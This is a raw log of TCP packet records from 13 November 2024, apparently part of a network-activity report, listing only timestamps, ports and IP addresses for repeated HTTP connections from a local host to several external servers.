Nov 13, 2024 09:27:03.758673906 CET	80	58818	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:03.758743048 CET	58818	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:04.771586895 CET	58819	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:04.776803017 CET	80	58819	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:04.777002096 CET	58819	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:04.784485102 CET	58819	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:04.789647102 CET	80	58819	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:04.789678097 CET	80	58819	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:04.789707899 CET	80	58819	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:04.789735079 CET	80	58819	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:04.789762974 CET	80	58819	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:04.789844036 CET	80	58819	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:04.789901972 CET	80	58819	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:04.789932013 CET	80	58819	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:04.789958000 CET	80	58819	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:05.405354977 CET	80	58819	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:05.405536890 CET	58819	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:06.299995899 CET	58819	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:06.305036068 CET	80	58819	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:07.317838907 CET	58820	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:07.323942900 CET	80	58820	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:07.324119091 CET	58820	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:07.329001904 CET	58820	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:07.334573984 CET	80	58820	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:07.950499058 CET	80	58820	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:07.950975895 CET	80	58820	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:07.951082945 CET	58820	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:07.953958035 CET	58820	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:07.958784103 CET	80	58820	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:13.319179058 CET	58822	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:13.324281931 CET	80	58822	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:13.324390888 CET	58822	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:13.340818882 CET	58822	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:13.345721006 CET	80	58822	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:14.243679047 CET	80	58822	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:14.243720055 CET	80	58822	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:14.243753910 CET	80	58822	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:14.243783951 CET	80	58822	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:14.244015932 CET	58822	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:14.244015932 CET	58822	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:14.394521952 CET	80	58822	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:14.394694090 CET	58822	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:14.846971989 CET	58822	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:15.871223927 CET	58838	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:15.876264095 CET	80	58838	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:15.876421928 CET	58838	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:15.884852886 CET	58838	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:15.889796972 CET	80	58838	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:16.921195984 CET	80	58838	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:16.921237946 CET	80	58838	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:16.921266079 CET	80	58838	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:16.921298027 CET	80	58838	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:16.921334982 CET	80	58838	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:16.921422958 CET	58838	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:16.921422958 CET	58838	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:16.922039986 CET	80	58838	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:16.922197104 CET	58838	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:16.922327995 CET	80	58838	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:16.922503948 CET	58838	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:17.393970966 CET	58838	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:18.413114071 CET	58854	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:18.418622017 CET	80	58854	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:18.418757915 CET	58854	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:18.449749947 CET	58854	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:18.454788923 CET	80	58854	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:18.454804897 CET	80	58854	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:18.454818010 CET	80	58854	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:18.454838991 CET	80	58854	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:18.454852104 CET	80	58854	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:18.454863071 CET	80	58854	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:18.454885006 CET	80	58854	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:18.454898119 CET	80	58854	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:18.454910040 CET	80	58854	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:19.306732893 CET	80	58854	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:19.306802034 CET	80	58854	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:19.306839943 CET	80	58854	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:19.306874990 CET	80	58854	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:19.306880951 CET	58854	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:19.306916952 CET	58854	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:19.623397112 CET	80	58854	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:19.623564959 CET	58854	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:19.957416058 CET	58854	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:20.986943960 CET	58870	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:20.992106915 CET	80	58870	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:20.992373943 CET	58870	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:21.047791004 CET	58870	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:21.053303003 CET	80	58870	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:21.875041962 CET	80	58870	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:21.875113964 CET	80	58870	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:21.875152111 CET	80	58870	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:21.875186920 CET	80	58870	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:21.875224113 CET	80	58870	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:21.875258923 CET	80	58870	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:21.875294924 CET	80	58870	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:21.875358105 CET	58870	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:21.875359058 CET	58870	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:21.875359058 CET	58870	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:21.875435114 CET	80	58870	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:21.875507116 CET	58870	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:22.024329901 CET	80	58870	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:22.024697065 CET	58870	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:22.025183916 CET	58870	80	192.168.2.4	194.58.112.174
Nov 13, 2024 09:27:22.030061007 CET	80	58870	194.58.112.174	192.168.2.4
Nov 13, 2024 09:27:27.051245928 CET	58902	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:27.056226015 CET	80	58902	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:27.056289911 CET	58902	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:27.064198017 CET	58902	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:27.069055080 CET	80	58902	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:27.678447962 CET	80	58902	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:27.678498030 CET	58902	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:28.565639973 CET	58902	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:28.570643902 CET	80	58902	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:29.588078976 CET	58917	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:29.594635010 CET	80	58917	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:29.594748974 CET	58917	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:29.627119064 CET	58917	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:29.632169008 CET	80	58917	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:30.221040964 CET	80	58917	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:30.221107006 CET	58917	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:31.143930912 CET	58917	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:31.149091959 CET	80	58917	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:32.161731958 CET	58932	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:32.167409897 CET	80	58932	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:32.167696953 CET	58932	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:32.175096989 CET	58932	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:32.180162907 CET	80	58932	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:32.180272102 CET	80	58932	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:32.180299997 CET	80	58932	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:32.180326939 CET	80	58932	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:32.180352926 CET	80	58932	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:32.180448055 CET	80	58932	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:32.180474997 CET	80	58932	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:32.180502892 CET	80	58932	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:32.180531025 CET	80	58932	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:32.802982092 CET	80	58932	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:32.803145885 CET	58932	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:33.690890074 CET	58932	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:33.696094990 CET	80	58932	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:34.708765030 CET	58948	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:34.715574980 CET	80	58948	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:34.715662003 CET	58948	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:34.721456051 CET	58948	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:34.726347923 CET	80	58948	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:35.341252089 CET	80	58948	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:35.341774940 CET	80	58948	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:35.341840982 CET	58948	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:35.345294952 CET	58948	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:27:35.350215912 CET	80	58948	3.33.130.190	192.168.2.4
Nov 13, 2024 09:27:40.690731049 CET	58983	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:41.017846107 CET	80	58983	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:41.018006086 CET	58983	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:41.032186985 CET	58983	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:41.037049055 CET	80	58983	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:42.064431906 CET	80	58983	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:42.064449072 CET	80	58983	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:42.064512968 CET	58983	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:42.272655010 CET	80	58983	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:42.272710085 CET	80	58983	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:42.272761106 CET	58983	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:42.482034922 CET	80	58983	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:42.482060909 CET	80	58983	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:42.482078075 CET	80	58983	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:42.482090950 CET	80	58983	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:42.482315063 CET	58983	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:42.483247995 CET	80	58983	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:42.483400106 CET	58983	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:42.534775972 CET	58983	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:43.553097963 CET	58999	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:43.558041096 CET	80	58999	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:43.558126926 CET	58999	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:43.567522049 CET	58999	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:43.572403908 CET	80	58999	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:44.597100019 CET	80	58999	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:44.597152948 CET	80	58999	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:44.597203970 CET	58999	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:44.792308092 CET	80	58999	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:44.792363882 CET	80	58999	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:44.792432070 CET	58999	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:44.987910986 CET	80	58999	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:44.987951040 CET	80	58999	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:44.987987041 CET	80	58999	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:44.988006115 CET	58999	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:44.990034103 CET	80	58999	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:44.990091085 CET	58999	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:45.081419945 CET	58999	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:46.099471092 CET	59009	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:46.104316950 CET	80	59009	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:46.104409933 CET	59009	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:46.113253117 CET	59009	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:46.118179083 CET	80	59009	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:46.118192911 CET	80	59009	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:46.118207932 CET	80	59009	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:46.118292093 CET	80	59009	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:46.118304968 CET	80	59009	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:46.118313074 CET	80	59009	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:46.118366957 CET	80	59009	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:46.118381023 CET	80	59009	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:46.118392944 CET	80	59009	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:47.160398960 CET	80	59009	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:47.160418034 CET	80	59009	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:47.160509109 CET	80	59009	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:47.160557032 CET	59009	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:47.206604004 CET	59009	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:47.350872993 CET	80	59009	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:47.350899935 CET	80	59009	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:47.350977898 CET	59009	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:47.540983915 CET	80	59009	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:47.541006088 CET	80	59009	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:47.541022062 CET	80	59009	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:47.541038990 CET	80	59009	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:47.541078091 CET	59009	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:47.541078091 CET	59009	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:47.542181015 CET	80	59009	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:47.542227983 CET	59009	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:47.628257990 CET	59009	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:48.646856070 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:48.651788950 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:48.651951075 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:48.656856060 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:48.661876917 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.170633078 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.170670033 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.170703888 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.170758009 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.170793056 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.170828104 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.170835972 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:50.170855045 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:50.170856953 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.170870066 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:50.170902014 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:50.170996904 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.171034098 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.171065092 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.171072006 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:50.171103001 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:50.177561998 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.177597046 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.177632093 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.177647114 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:50.177668095 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.177716017 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:50.177804947 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.177850008 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.177886009 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.177894115 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:50.222357988 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:50.257474899 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.257544994 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.257580996 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.257612944 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.257658958 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.257693052 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.257723093 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:50.257723093 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:50.257745028 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.257749081 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:50.257777929 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.257814884 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.257819891 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:50.257900953 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.257942915 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:50.258377075 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.258615017 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.258665085 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:50.259215117 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:50.259263992 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:50.260874987 CET	59023	80	192.168.2.4	104.21.14.183
Nov 13, 2024 09:27:50.266110897 CET	80	59023	104.21.14.183	192.168.2.4
Nov 13, 2024 09:27:55.315651894 CET	59058	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:27:55.320631027 CET	80	59058	67.223.117.142	192.168.2.4
Nov 13, 2024 09:27:55.320693016 CET	59058	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:27:55.328007936 CET	59058	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:27:55.332895041 CET	80	59058	67.223.117.142	192.168.2.4
Nov 13, 2024 09:27:55.994162083 CET	80	59058	67.223.117.142	192.168.2.4
Nov 13, 2024 09:27:56.034507990 CET	59058	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:27:56.048886061 CET	80	59058	67.223.117.142	192.168.2.4
Nov 13, 2024 09:27:56.048944950 CET	59058	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:27:56.831547976 CET	59058	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:27:57.849940062 CET	59069	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:27:57.854918957 CET	80	59069	67.223.117.142	192.168.2.4
Nov 13, 2024 09:27:57.855096102 CET	59069	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:27:57.863544941 CET	59069	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:27:57.868521929 CET	80	59069	67.223.117.142	192.168.2.4
Nov 13, 2024 09:27:58.555423975 CET	80	59069	67.223.117.142	192.168.2.4
Nov 13, 2024 09:27:58.597029924 CET	59069	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:27:58.599807024 CET	80	59069	67.223.117.142	192.168.2.4
Nov 13, 2024 09:27:58.599889994 CET	59069	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:27:59.378449917 CET	59069	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:28:00.396677017 CET	59085	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:28:00.401555061 CET	80	59085	67.223.117.142	192.168.2.4
Nov 13, 2024 09:28:00.401627064 CET	59085	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:28:00.412889004 CET	59085	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:28:00.417800903 CET	80	59085	67.223.117.142	192.168.2.4
Nov 13, 2024 09:28:00.417839050 CET	80	59085	67.223.117.142	192.168.2.4
Nov 13, 2024 09:28:00.417846918 CET	80	59085	67.223.117.142	192.168.2.4
Nov 13, 2024 09:28:00.417853117 CET	80	59085	67.223.117.142	192.168.2.4
Nov 13, 2024 09:28:00.417885065 CET	80	59085	67.223.117.142	192.168.2.4
Nov 13, 2024 09:28:00.417936087 CET	80	59085	67.223.117.142	192.168.2.4
Nov 13, 2024 09:28:00.417943001 CET	80	59085	67.223.117.142	192.168.2.4
Nov 13, 2024 09:28:00.417973995 CET	80	59085	67.223.117.142	192.168.2.4
Nov 13, 2024 09:28:00.418028116 CET	80	59085	67.223.117.142	192.168.2.4
Nov 13, 2024 09:28:01.387176991 CET	80	59085	67.223.117.142	192.168.2.4
Nov 13, 2024 09:28:01.387265921 CET	80	59085	67.223.117.142	192.168.2.4
Nov 13, 2024 09:28:01.387326002 CET	59085	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:28:01.387388945 CET	80	59085	67.223.117.142	192.168.2.4
Nov 13, 2024 09:28:01.387428999 CET	59085	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:28:01.387871981 CET	80	59085	67.223.117.142	192.168.2.4
Nov 13, 2024 09:28:01.387912989 CET	59085	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:28:01.925231934 CET	59085	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:28:02.943579912 CET	59101	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:28:02.948672056 CET	80	59101	67.223.117.142	192.168.2.4
Nov 13, 2024 09:28:02.948749065 CET	59101	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:28:02.955741882 CET	59101	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:28:02.960638046 CET	80	59101	67.223.117.142	192.168.2.4
Nov 13, 2024 09:28:03.628504992 CET	80	59101	67.223.117.142	192.168.2.4
Nov 13, 2024 09:28:03.666904926 CET	80	59101	67.223.117.142	192.168.2.4
Nov 13, 2024 09:28:03.667072058 CET	59101	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:28:03.667804956 CET	59101	80	192.168.2.4	67.223.117.142
Nov 13, 2024 09:28:03.672765017 CET	80	59101	67.223.117.142	192.168.2.4
Nov 13, 2024 09:28:08.693131924 CET	59102	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:28:08.698095083 CET	80	59102	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:08.698158979 CET	59102	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:28:08.706906080 CET	59102	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:28:08.711852074 CET	80	59102	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:09.323456049 CET	80	59102	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:09.323525906 CET	59102	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:28:10.222332954 CET	59102	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:28:10.227343082 CET	80	59102	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:11.240638018 CET	59103	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:28:11.245815039 CET	80	59103	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:11.245903969 CET	59103	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:28:11.254400015 CET	59103	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:28:11.259238958 CET	80	59103	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:11.872092962 CET	80	59103	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:11.872164011 CET	59103	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:28:12.769078016 CET	59103	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:28:13.079747915 CET	80	59103	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:13.786799908 CET	59104	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:28:13.791799068 CET	80	59104	3.33.130.190	192.168.2.4
